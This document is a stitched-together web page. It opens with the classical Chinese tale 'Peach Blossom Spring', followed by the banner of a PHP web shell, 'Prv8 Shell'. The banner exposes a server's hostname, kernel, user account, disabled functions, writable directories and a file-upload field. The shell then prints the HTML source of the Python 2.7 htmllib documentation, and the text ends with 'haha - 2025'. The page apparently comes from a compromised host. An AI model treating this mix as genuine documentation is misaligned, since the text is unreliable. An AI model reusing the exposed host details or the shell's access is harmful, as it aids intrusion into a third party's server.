晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /usr/share/doc/python2-docs/html/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/doc/python2-docs/html/library/htmllib.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
    <meta http-equiv="X-UA-Compatible" content="IE=Edge" />
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>19.3. htmllib — A parser for HTML documents &#8212; Python 2.7.16 documentation</title>
    <link rel="stylesheet" href="../_static/classic.css" type="text/css" />
    <link rel="stylesheet" href="../_static/pygments.css" type="text/css" />
    <script type="text/javascript" id="documentation_options" data-url_root="../" src="../_static/documentation_options.js"></script>
    <script type="text/javascript" src="../_static/jquery.js"></script>
    <script type="text/javascript" src="../_static/underscore.js"></script>
    <script type="text/javascript" src="../_static/doctools.js"></script>
    <script type="text/javascript" src="../_static/sidebar.js"></script>
    <link rel="search" type="application/opensearchdescription+xml"
          title="Search within Python 2.7.16 documentation"
          href="../_static/opensearch.xml"/>
    <link rel="author" title="About these documents" href="../about.html" />
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="copyright" title="Copyright" href="../copyright.html" />
    <link rel="next" title="19.5. XML Processing Modules" href="xml.html" />
    <link rel="prev" title="19.2. sgmllib — Simple SGML parser" href="sgmllib.html" />
    <link rel="shortcut icon" type="image/png" href="../_static/py.png" />
    <link rel="canonical" href="https://docs.python.org/2/library/htmllib.html" />
    <script type="text/javascript" src="../_static/copybutton.js"></script>
    
 
    

  </head><body>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             accesskey="I">index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="xml.html" title="19.5. XML Processing Modules"
             accesskey="N">next</a> |</li>
        <li class="right" >
          <a href="sgmllib.html" title="19.2. sgmllib — Simple SGML parser"
             accesskey="P">previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="markup.html" accesskey="U">19. Structured Markup Processing Tools</a> &#187;</li> 
      </ul>
    </div>    

    <div class="document">
      <div class="documentwrapper">
        <div class="bodywrapper">
          <div class="body" role="main">
            
  <div class="section" id="module-htmllib">
<span id="htmllib-a-parser-for-html-documents"></span><h1>19.3. <a class="reference internal" href="#module-htmllib" title="htmllib: A parser for HTML documents. (deprecated)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">htmllib</span></code></a> — A parser for HTML documents<a class="headerlink" href="#module-htmllib" title="Permalink to this headline">¶</a></h1>
<div class="deprecated">
<p><span class="versionmodified">Deprecated since version 2.6: </span>The <a class="reference internal" href="#module-htmllib" title="htmllib: A parser for HTML documents. (deprecated)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">htmllib</span></code></a> module has been removed in Python 3.
Use <a class="reference internal" href="htmlparser.html#module-HTMLParser" title="HTMLParser: A simple parser that can handle HTML and XHTML."><code class="xref py py-mod docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> instead in Python 2, and the equivalent,
<code class="xref py py-mod docutils literal notranslate"><span class="pre">html.parser</span></code>, in Python 3.</p>
</div>
<span class="target" id="index-0"></span><p id="index-1">This module defines a class which can serve as a base for parsing text files
formatted in the HyperText Mark-up Language (HTML).  The class is not directly
concerned with I/O — it must be provided with input in string form via a
method, and makes calls to methods of a “formatter” object in order to produce
output.  The <a class="reference internal" href="htmlparser.html#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> class is designed to be used as a base class
for other classes in order to add functionality, and allows most of its methods
to be extended or overridden.  In turn, this class is derived from and extends
the <code class="xref py py-class docutils literal notranslate"><span class="pre">SGMLParser</span></code> class defined in module <a class="reference internal" href="sgmllib.html#module-sgmllib" title="sgmllib: Only as much of an SGML parser as needed to parse HTML. (deprecated)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">sgmllib</span></code></a>.  The
<a class="reference internal" href="htmlparser.html#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> implementation supports the HTML 2.0 language as described
in <span class="target" id="index-2"></span><a class="rfc reference external" href="https://tools.ietf.org/html/rfc1866.html"><strong>RFC 1866</strong></a>.  Two implementations of formatter objects are provided in the
<a class="reference internal" href="formatter.html#module-formatter" title="formatter: Generic output formatter and device interface."><code class="xref py py-mod docutils literal notranslate"><span class="pre">formatter</span></code></a> module; refer to the documentation for that module for
information on the formatter interface.</p>
<p>The following is a summary of the interface defined by
<a class="reference internal" href="sgmllib.html#sgmllib.SGMLParser" title="sgmllib.SGMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">sgmllib.SGMLParser</span></code></a>:</p>
<ul>
<li><p class="first">The interface to feed data to an instance is through the <code class="xref py py-meth docutils literal notranslate"><span class="pre">feed()</span></code> method,
which takes a string argument.  This can be called with as little or as much
text at a time as desired; <code class="docutils literal notranslate"><span class="pre">p.feed(a);</span> <span class="pre">p.feed(b)</span></code> has the same effect as
<code class="docutils literal notranslate"><span class="pre">p.feed(a+b)</span></code>.  When the data contains complete HTML markup constructs, these
are processed immediately; incomplete constructs are saved in a buffer.  To
force processing of all unprocessed data, call the <code class="xref py py-meth docutils literal notranslate"><span class="pre">close()</span></code> method.</p>
<p>For example, to parse the entire contents of a file, use:</p>
<div class="highlight-default notranslate"><div class="highlight"><pre><span></span><span class="n">parser</span><span class="o">.</span><span class="n">feed</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s1">&#39;myfile.html&#39;</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">())</span>
<span class="n">parser</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</pre></div>
</div>
</li>
<li><p class="first">The interface to define semantics for HTML tags is very simple: derive a class
and define methods called <code class="xref py py-meth docutils literal notranslate"><span class="pre">start_tag()</span></code>, <code class="xref py py-meth docutils literal notranslate"><span class="pre">end_tag()</span></code>, or <code class="xref py py-meth docutils literal notranslate"><span class="pre">do_tag()</span></code>.
The parser will call these at appropriate moments: <code class="xref py py-meth docutils literal notranslate"><span class="pre">start_tag()</span></code> or
<code class="xref py py-meth docutils literal notranslate"><span class="pre">do_tag()</span></code> is called when an opening tag of the form <code class="docutils literal notranslate"><span class="pre">&lt;tag</span> <span class="pre">...&gt;</span></code> is
encountered; <code class="xref py py-meth docutils literal notranslate"><span class="pre">end_tag()</span></code> is called when a closing tag of the form <code class="docutils literal notranslate"><span class="pre">&lt;tag&gt;</span></code>
is encountered.  If an opening tag requires a corresponding closing tag, like
<code class="docutils literal notranslate"><span class="pre">&lt;H1&gt;</span></code> … <code class="docutils literal notranslate"><span class="pre">&lt;/H1&gt;</span></code>, the class should define the <code class="xref py py-meth docutils literal notranslate"><span class="pre">start_tag()</span></code> method; if
a tag requires no closing tag, like <code class="docutils literal notranslate"><span class="pre">&lt;P&gt;</span></code>, the class should define the
<code class="xref py py-meth docutils literal notranslate"><span class="pre">do_tag()</span></code> method.</p>
</li>
</ul>
<p>The module defines a parser class and an exception:</p>
<dl class="class">
<dt id="htmllib.HTMLParser">
<em class="property">class </em><code class="descclassname">htmllib.</code><code class="descname">HTMLParser</code><span class="sig-paren">(</span><em>formatter</em><span class="sig-paren">)</span><a class="headerlink" href="#htmllib.HTMLParser" title="Permalink to this definition">¶</a></dt>
<dd><p>This is the basic HTML parser class.  It supports all entity names required by
the XHTML 1.0 Recommendation (<a class="reference external" href="https://www.w3.org/TR/xhtml1">https://www.w3.org/TR/xhtml1</a>).   It also defines
handlers for all HTML 2.0 and many HTML 3.0 and 3.2 elements.</p>
</dd></dl>

<dl class="exception">
<dt id="htmllib.HTMLParseError">
<em class="property">exception </em><code class="descclassname">htmllib.</code><code class="descname">HTMLParseError</code><a class="headerlink" href="#htmllib.HTMLParseError" title="Permalink to this definition">¶</a></dt>
<dd><p>Exception raised by the <a class="reference internal" href="htmlparser.html#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> class when it encounters an error
while parsing.</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 2.4.</span></p>
</div>
</dd></dl>

<div class="admonition seealso">
<p class="first admonition-title">See also</p>
<dl class="last docutils">
<dt>Module <a class="reference internal" href="formatter.html#module-formatter" title="formatter: Generic output formatter and device interface."><code class="xref py py-mod docutils literal notranslate"><span class="pre">formatter</span></code></a></dt>
<dd>Interface definition for transforming an abstract flow of formatting events into
specific output events on writer objects.</dd>
<dt>Module <a class="reference internal" href="htmlparser.html#module-HTMLParser" title="HTMLParser: A simple parser that can handle HTML and XHTML."><code class="xref py py-mod docutils literal notranslate"><span class="pre">HTMLParser</span></code></a></dt>
<dd>Alternate HTML parser that offers a slightly lower-level view of the input, but
is designed to work with XHTML, and does not implement some of the SGML syntax
not used in “HTML as deployed” and which isn’t legal for XHTML.</dd>
<dt>Module <a class="reference internal" href="#module-htmlentitydefs" title="htmlentitydefs: Definitions of HTML general entities."><code class="xref py py-mod docutils literal notranslate"><span class="pre">htmlentitydefs</span></code></a></dt>
<dd>Definition of replacement text for XHTML 1.0  entities.</dd>
<dt>Module <a class="reference internal" href="sgmllib.html#module-sgmllib" title="sgmllib: Only as much of an SGML parser as needed to parse HTML. (deprecated)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">sgmllib</span></code></a></dt>
<dd>Base class for <a class="reference internal" href="htmlparser.html#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a>.</dd>
</dl>
</div>
<div class="section" id="htmlparser-objects">
<span id="html-parser-objects"></span><h2>19.3.1. HTMLParser Objects<a class="headerlink" href="#htmlparser-objects" title="Permalink to this headline">¶</a></h2>
<p>In addition to tag methods, the <a class="reference internal" href="htmlparser.html#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> class provides some
additional methods and instance variables for use within tag methods.</p>
<dl class="attribute">
<dt id="htmllib.HTMLParser.formatter">
<code class="descclassname">HTMLParser.</code><code class="descname">formatter</code><a class="headerlink" href="#htmllib.HTMLParser.formatter" title="Permalink to this definition">¶</a></dt>
<dd><p>This is the formatter instance associated with the parser.</p>
</dd></dl>

<dl class="attribute">
<dt id="htmllib.HTMLParser.nofill">
<code class="descclassname">HTMLParser.</code><code class="descname">nofill</code><a class="headerlink" href="#htmllib.HTMLParser.nofill" title="Permalink to this definition">¶</a></dt>
<dd><p>Boolean flag which should be true when whitespace should not be collapsed, or
false when it should be.  In general, this should only be true when character
data is to be treated as “preformatted” text, as within a <code class="docutils literal notranslate"><span class="pre">&lt;PRE&gt;</span></code> element.
The default value is false.  This affects the operation of <code class="xref py py-meth docutils literal notranslate"><span class="pre">handle_data()</span></code>
and <a class="reference internal" href="#htmllib.HTMLParser.save_end" title="htmllib.HTMLParser.save_end"><code class="xref py py-meth docutils literal notranslate"><span class="pre">save_end()</span></code></a>.</p>
</dd></dl>

<dl class="method">
<dt id="htmllib.HTMLParser.anchor_bgn">
<code class="descclassname">HTMLParser.</code><code class="descname">anchor_bgn</code><span class="sig-paren">(</span><em>href</em>, <em>name</em>, <em>type</em><span class="sig-paren">)</span><a class="headerlink" href="#htmllib.HTMLParser.anchor_bgn" title="Permalink to this definition">¶</a></dt>
<dd><p>This method is called at the start of an anchor region.  The arguments
correspond to the attributes of the <code class="docutils literal notranslate"><span class="pre">&lt;A&gt;</span></code> tag with the same names.  The
default implementation maintains a list of hyperlinks (defined by the <code class="docutils literal notranslate"><span class="pre">HREF</span></code>
attribute for <code class="docutils literal notranslate"><span class="pre">&lt;A&gt;</span></code> tags) within the document.  The list of hyperlinks is
available as the data attribute <code class="xref py py-attr docutils literal notranslate"><span class="pre">anchorlist</span></code>.</p>
</dd></dl>

<dl class="method">
<dt id="htmllib.HTMLParser.anchor_end">
<code class="descclassname">HTMLParser.</code><code class="descname">anchor_end</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#htmllib.HTMLParser.anchor_end" title="Permalink to this definition">¶</a></dt>
<dd><p>This method is called at the end of an anchor region.  The default
implementation adds a textual footnote marker using an index into the list of
hyperlinks created by <a class="reference internal" href="#htmllib.HTMLParser.anchor_bgn" title="htmllib.HTMLParser.anchor_bgn"><code class="xref py py-meth docutils literal notranslate"><span class="pre">anchor_bgn()</span></code></a>.</p>
</dd></dl>

<dl class="method">
<dt id="htmllib.HTMLParser.handle_image">
<code class="descclassname">HTMLParser.</code><code class="descname">handle_image</code><span class="sig-paren">(</span><em>source</em>, <em>alt</em><span class="optional">[</span>, <em>ismap</em><span class="optional">[</span>, <em>align</em><span class="optional">[</span>, <em>width</em><span class="optional">[</span>, <em>height</em><span class="optional">]</span><span class="optional">]</span><span class="optional">]</span><span class="optional">]</span><span class="sig-paren">)</span><a class="headerlink" href="#htmllib.HTMLParser.handle_image" title="Permalink to this definition">¶</a></dt>
<dd><p>This method is called to handle images.  The default implementation simply
passes the <em>alt</em> value to the <code class="xref py py-meth docutils literal notranslate"><span class="pre">handle_data()</span></code> method.</p>
</dd></dl>

<dl class="method">
<dt id="htmllib.HTMLParser.save_bgn">
<code class="descclassname">HTMLParser.</code><code class="descname">save_bgn</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#htmllib.HTMLParser.save_bgn" title="Permalink to this definition">¶</a></dt>
<dd><p>Begins saving character data in a buffer instead of sending it to the formatter
object.  Retrieve the stored data via <a class="reference internal" href="#htmllib.HTMLParser.save_end" title="htmllib.HTMLParser.save_end"><code class="xref py py-meth docutils literal notranslate"><span class="pre">save_end()</span></code></a>. Use of the
<a class="reference internal" href="#htmllib.HTMLParser.save_bgn" title="htmllib.HTMLParser.save_bgn"><code class="xref py py-meth docutils literal notranslate"><span class="pre">save_bgn()</span></code></a> / <a class="reference internal" href="#htmllib.HTMLParser.save_end" title="htmllib.HTMLParser.save_end"><code class="xref py py-meth docutils literal notranslate"><span class="pre">save_end()</span></code></a> pair may not be nested.</p>
</dd></dl>

<dl class="method">
<dt id="htmllib.HTMLParser.save_end">
<code class="descclassname">HTMLParser.</code><code class="descname">save_end</code><span class="sig-paren">(</span><span class="sig-paren">)</span><a class="headerlink" href="#htmllib.HTMLParser.save_end" title="Permalink to this definition">¶</a></dt>
<dd><p>Ends buffering character data and returns all data saved since the preceding
call to <a class="reference internal" href="#htmllib.HTMLParser.save_bgn" title="htmllib.HTMLParser.save_bgn"><code class="xref py py-meth docutils literal notranslate"><span class="pre">save_bgn()</span></code></a>.  If the <a class="reference internal" href="#htmllib.HTMLParser.nofill" title="htmllib.HTMLParser.nofill"><code class="xref py py-attr docutils literal notranslate"><span class="pre">nofill</span></code></a> flag is false, whitespace is
collapsed to single spaces.  A call to this method without a preceding call to
<a class="reference internal" href="#htmllib.HTMLParser.save_bgn" title="htmllib.HTMLParser.save_bgn"><code class="xref py py-meth docutils literal notranslate"><span class="pre">save_bgn()</span></code></a> will raise a <a class="reference internal" href="exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><code class="xref py py-exc docutils literal notranslate"><span class="pre">TypeError</span></code></a> exception.</p>
</dd></dl>

</div>
</div>
<div class="section" id="module-htmlentitydefs">
<span id="htmlentitydefs-definitions-of-html-general-entities"></span><h1>19.4. <a class="reference internal" href="#module-htmlentitydefs" title="htmlentitydefs: Definitions of HTML general entities."><code class="xref py py-mod docutils literal notranslate"><span class="pre">htmlentitydefs</span></code></a> — Definitions of HTML general entities<a class="headerlink" href="#module-htmlentitydefs" title="Permalink to this headline">¶</a></h1>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">The <a class="reference internal" href="#module-htmlentitydefs" title="htmlentitydefs: Definitions of HTML general entities."><code class="xref py py-mod docutils literal notranslate"><span class="pre">htmlentitydefs</span></code></a> module has been renamed to <code class="xref py py-mod docutils literal notranslate"><span class="pre">html.entities</span></code> in
Python 3.  The <a class="reference internal" href="../glossary.html#term-2to3"><span class="xref std std-term">2to3</span></a> tool will automatically adapt imports when
converting your sources to Python 3.</p>
</div>
<p><strong>Source code:</strong> <a class="reference external" href="https://github.com/python/cpython/tree/2.7/Lib/htmlentitydefs.py">Lib/htmlentitydefs.py</a></p>
<hr class="docutils" />
<p>This module defines three dictionaries, <code class="docutils literal notranslate"><span class="pre">name2codepoint</span></code>, <code class="docutils literal notranslate"><span class="pre">codepoint2name</span></code>,
and <code class="docutils literal notranslate"><span class="pre">entitydefs</span></code>. <code class="docutils literal notranslate"><span class="pre">entitydefs</span></code> is used by the <a class="reference internal" href="#module-htmllib" title="htmllib: A parser for HTML documents. (deprecated)"><code class="xref py py-mod docutils literal notranslate"><span class="pre">htmllib</span></code></a> module to
provide the <a class="reference internal" href="#htmlentitydefs.entitydefs" title="htmlentitydefs.entitydefs"><code class="xref py py-attr docutils literal notranslate"><span class="pre">entitydefs</span></code></a> attribute of the <a class="reference internal" href="htmlparser.html#HTMLParser.HTMLParser" title="HTMLParser.HTMLParser"><code class="xref py py-class docutils literal notranslate"><span class="pre">HTMLParser</span></code></a> class.  The
definition provided here contains all the entities defined by XHTML 1.0  that
can be handled using simple textual substitution in the Latin-1 character set
(ISO-8859-1).</p>
<dl class="data">
<dt id="htmlentitydefs.entitydefs">
<code class="descclassname">htmlentitydefs.</code><code class="descname">entitydefs</code><a class="headerlink" href="#htmlentitydefs.entitydefs" title="Permalink to this definition">¶</a></dt>
<dd><p>A dictionary mapping XHTML 1.0 entity definitions to their replacement text in
ISO Latin-1.</p>
</dd></dl>

<dl class="data">
<dt id="htmlentitydefs.name2codepoint">
<code class="descclassname">htmlentitydefs.</code><code class="descname">name2codepoint</code><a class="headerlink" href="#htmlentitydefs.name2codepoint" title="Permalink to this definition">¶</a></dt>
<dd><p>A dictionary that maps HTML entity names to the Unicode code points.</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 2.3.</span></p>
</div>
</dd></dl>

<dl class="data">
<dt id="htmlentitydefs.codepoint2name">
<code class="descclassname">htmlentitydefs.</code><code class="descname">codepoint2name</code><a class="headerlink" href="#htmlentitydefs.codepoint2name" title="Permalink to this definition">¶</a></dt>
<dd><p>A dictionary that maps Unicode code points to HTML entity names.</p>
<div class="versionadded">
<p><span class="versionmodified">New in version 2.3.</span></p>
</div>
</dd></dl>

</div>


          </div>
        </div>
      </div>
      <div class="sphinxsidebar" role="navigation" aria-label="main navigation">
        <div class="sphinxsidebarwrapper">
  <h3><a href="../contents.html">Table Of Contents</a></h3>
  <ul>
<li><a class="reference internal" href="#">19.3. <code class="docutils literal notranslate"><span class="pre">htmllib</span></code> — A parser for HTML documents</a><ul>
<li><a class="reference internal" href="#htmlparser-objects">19.3.1. HTMLParser Objects</a></li>
</ul>
</li>
<li><a class="reference internal" href="#module-htmlentitydefs">19.4. <code class="docutils literal notranslate"><span class="pre">htmlentitydefs</span></code> — Definitions of HTML general entities</a></li>
</ul>

  <h4>Previous topic</h4>
  <p class="topless"><a href="sgmllib.html"
                        title="previous chapter">19.2. <code class="docutils literal notranslate"><span class="pre">sgmllib</span></code> — Simple SGML parser</a></p>
  <h4>Next topic</h4>
  <p class="topless"><a href="xml.html"
                        title="next chapter">19.5. XML Processing Modules</a></p>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/library/htmllib.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
<div id="searchbox" style="display: none" role="search">
  <h3>Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>
    </div>
</div>
<script type="text/javascript">$('#searchbox').show(0);</script>
        </div>
      </div>
      <div class="clearer"></div>
    </div>  
    <div class="related" role="navigation" aria-label="related navigation">
      <h3>Navigation</h3>
      <ul>
        <li class="right" style="margin-right: 10px">
          <a href="../genindex.html" title="General Index"
             >index</a></li>
        <li class="right" >
          <a href="../py-modindex.html" title="Python Module Index"
             >modules</a> |</li>
        <li class="right" >
          <a href="xml.html" title="19.5. XML Processing Modules"
             >next</a> |</li>
        <li class="right" >
          <a href="sgmllib.html" title="19.2. sgmllib — Simple SGML parser"
             >previous</a> |</li>
        <li><img src="../_static/py.png" alt=""
                 style="vertical-align: middle; margin-top: -1px"/></li>
        <li><a href="https://www.python.org/">Python</a> &#187;</li>
        <li>
          <a href="../index.html">Python 2.7.16 documentation</a> &#187;
        </li>

          <li class="nav-item nav-item-1"><a href="index.html" >The Python Standard Library</a> &#187;</li>
          <li class="nav-item nav-item-2"><a href="markup.html" >19. Structured Markup Processing Tools</a> &#187;</li> 
      </ul>
    </div>  
    <div class="footer">
    &copy; <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation.
    <br />
    The Python Software Foundation is a non-profit corporation.
    <a href="https://www.python.org/psf/donations/">Please donate.</a>
    <br />
    Last updated on Mar 27, 2019.
    <a href="../bugs.html">Found a bug</a>?
    <br />
    Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.7.6.
    </div>

  </body>
</html>

haha - 2025